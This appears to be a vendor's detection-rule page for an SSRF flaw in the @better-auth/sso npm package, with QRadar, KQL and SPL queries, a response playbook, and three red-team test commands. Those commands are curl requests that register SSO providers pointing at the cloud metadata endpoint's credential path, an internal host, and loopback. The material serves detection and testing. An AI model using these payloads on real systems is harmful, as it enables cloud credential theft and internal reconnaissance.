CVE-2026-53513 IBM QRadar · QRadar

Detect CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints in IBM QRadar

Detects exploitation of CVE-2026-53513, a server-side request forgery (SSRF) vulnerability in the @better-auth/sso npm package (>= 0.1.0, < 1.6.11). The SSO provider registration flow accepts attacker-controlled OIDC endpoint URLs (issuer, authorization, token, userinfo, JWKS, and OIDC discovery URLs) without validating the host, scheme, or resolved IP. When the server performs OIDC discovery or token/userinfo requests against these unvalidated endpoints, an attacker can coerce the application server into making requests to internal/metadata services (e.g. cloud IMDS at 169.254.169.254, localhost, RFC1918 ranges), enabling credential theft and internal reconnaissance. This detection surfaces provider-registration and OIDC callback activity where the application server originates outbound HTTP requests to internal, link-local, or metadata IP ranges shortly after an SSO provider registration or discovery event.

MITRE ATT&CK

Tactic
Reconnaissance Discovery

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT sourceip, destinationip, destinationport, "URL Host" AS urlhost, "URL Path" AS urlpath, QIDNAME(qid) AS event, starttime FROM events WHERE ("URL Path" ILIKE '%/.well-known/openid-configuration' OR "URL Path" ILIKE '%/token' OR "URL Path" ILIKE '%/userinfo' OR "URL Path" ILIKE '%/authorize') AND (destinationip = '169.254.169.254' OR INCIDR('10.0.0.0/8', destinationip) OR INCIDR('172.16.0.0/12', destinationip) OR INCIDR('192.168.0.0/16', destinationip) OR INCIDR('127.0.0.0/8', destinationip) OR INCIDR('169.254.0.0/16', destinationip)) ORDER BY starttime DESC LAST 24 HOURS
high severity medium confidence

Returns OIDC endpoint requests from the application tier that target cloud metadata or internal address ranges, indicating SSRF via unvalidated @better-auth/sso provider endpoints.

Data Sources

QRadar FlowProxy DSM

Required Tables

events

False Positives & Tuning

  • Sanctioned internal identity provider on RFC1918 space
  • Loopback proxy traffic for OIDC
  • Internal reachability tests

Other platforms for CVE-2026-53513

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SSRF to cloud metadata via SSO provider registration

    Expected signal: Node process initiates an outbound HTTP connection to 169.254.169.254 shortly after the provider registration POST.

  2. Test 2SSRF internal service scan via OIDC endpoint

    Expected signal: Application server emits outbound connections to 10.0.0.5:8080 originating from the Node runtime.

  3. Test 3SSRF to loopback discovery endpoint

    Expected signal: Node process makes a loopback HTTP request to 127.0.0.1:9200 for the OIDC discovery document.

Last updated: 2026-08-11 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm the affected application uses @better-auth/sso and identify the installed version via package-lock.json / node_modules/@better-auth/sso/package.json; versions >= 0.1.0 and < 1.6.11 are vulnerable.
  2. Review the destination IP flagged in the alert — determine whether it is a cloud metadata endpoint (169.254.169.254), loopback, or an RFC1918 host that is NOT a sanctioned internal IdP.
  3. Pull the SSO provider registration audit log around the alert time and inspect the OIDC endpoint URLs (issuer, discoveryUrl, token/userinfo) submitted; look for internal hostnames, IP literals, or metadata addresses.
  4. Correlate the registering user/tenant and API key to determine whether provider registration was performed by an authorized administrator.

Containment

  1. Upgrade @better-auth/sso to >= 1.6.11 across all affected services and redeploy.
  2. Immediately disable or delete any SSO provider records whose OIDC endpoints point to internal, loopback, or metadata addresses.
  3. Apply egress network controls / a metadata-proxy (e.g. IMDSv2 enforcement, deny 169.254.169.254 from app subnets) to block SSRF to cloud credentials.

Evidence Collection

  1. Preserve application and reverse-proxy access logs showing outbound OIDC discovery/token/userinfo requests and their destination IPs.
  2. Export the SSO provider configuration table/records including submitted endpoint URLs and registration timestamps and actor identities.
  3. Capture cloud provider IMDS access logs and any short-lived credential issuance events during the exposure window.

Escalation Criteria

  • !Escalate to incident response if outbound requests to 169.254.169.254 (or equivalent metadata endpoint) succeeded and returned data, indicating potential cloud credential theft.
  • !Escalate if provider registration originated from an unauthenticated or low-privilege actor, or if signups were unexpectedly enabled.
  • !Escalate if internal services (databases, admin panels) were reached via the SSRF pivot beyond metadata endpoints.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >SSO provider configuration records containing attacker-supplied OIDC endpoint URLs
  • >Application/proxy access logs showing server-originated requests to metadata or private IPs
  • >Cloud IMDS access logs and credential issuance events
  • >node_modules/@better-auth/sso version metadata confirming vulnerable install

Tuning Guidance

Build an allowlist of sanctioned internal IdP hosts/IPs and exclude them from the private-range match to cut false positives. If a local auth proxy legitimately serves OIDC over loopback, exclude that specific loopback+port. Keep the metadata-range match (169.254.169.254, 169.254.170.2, 100.100.100.200) always-on since no legitimate OIDC provider should be hosted there. Restrict process scope to the actual runtime hosting @better-auth/sso to reduce noise.

Hunting Queries

Hunt for any application-tier process reaching the cloud metadata endpoint or performing OIDC discovery against internal targets, regardless of registration correlation.

Hunting — KQL
kql 
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("node","node.exe","bun","deno") | where RemoteIP == "169.254.169.254" | project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP
Hunting — SPL
spl 
index=proxy OR index=network (dest_ip="169.254.169.254" OR uri_path="*/.well-known/openid-configuration") | stats count by src_ip, dest_ip, uri_path, uri_host

Atomic Red Team Tests

Test 1 SSRF to cloud metadata via SSO provider registration
linux

Register an OIDC SSO provider whose discovery URL points at the cloud metadata endpoint and trigger discovery, coercing the server to request instance credentials.

Command

bash 
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-ssrf","issuer":"http://169.254.169.254/latest/meta-data/","discoveryUrl":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Cleanup

bash 
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-ssrf

Expected Telemetry

Node process initiates an outbound HTTP connection to 169.254.169.254 shortly after the provider registration POST.

Expected Detection

KQL/CQL endpoint rules fire on the Node process connecting to the metadata IP; proxy-based rules flag the OIDC discovery request to 169.254.169.254.

Test 2 SSRF internal service scan via OIDC endpoint
linux

Register a provider with a token endpoint pointing to an internal RFC1918 host to probe internal reachability through the SSO flow.

Command

bash 
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-internal","issuer":"http://10.0.0.5:8080/","tokenUrl":"http://10.0.0.5:8080/token","userInfoUrl":"http://10.0.0.5:8080/userinfo"}'

Cleanup

bash 
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-internal

Expected Telemetry

Application server emits outbound connections to 10.0.0.5:8080 originating from the Node runtime.

Expected Detection

Private-CIDR match in the network detections fires for the app process connecting to the RFC1918 target.

Test 3 SSRF to loopback discovery endpoint
linux

Point the OIDC discovery URL at localhost to confirm the server fetches unvalidated internal well-known configuration.

Command

bash 
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-loopback","discoveryUrl":"http://127.0.0.1:9200/.well-known/openid-configuration"}'

Cleanup

bash 
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-loopback

Expected Telemetry

Node process makes a loopback HTTP request to 127.0.0.1:9200 for the OIDC discovery document.

Expected Detection

Loopback/127.0.0.0/8 CIDR match in the network rules flags the discovery request from the app runtime.

Related Detections

Tactic Hubs

TA0043ReconnaissanceTA0007Discovery

Related Techniques

T1190Exploit Public-Facing ApplicationT1552.005Cloud Instance Metadata APIT1046Network Service Discovery

Same Tactic: Reconnaissance

Popular Detections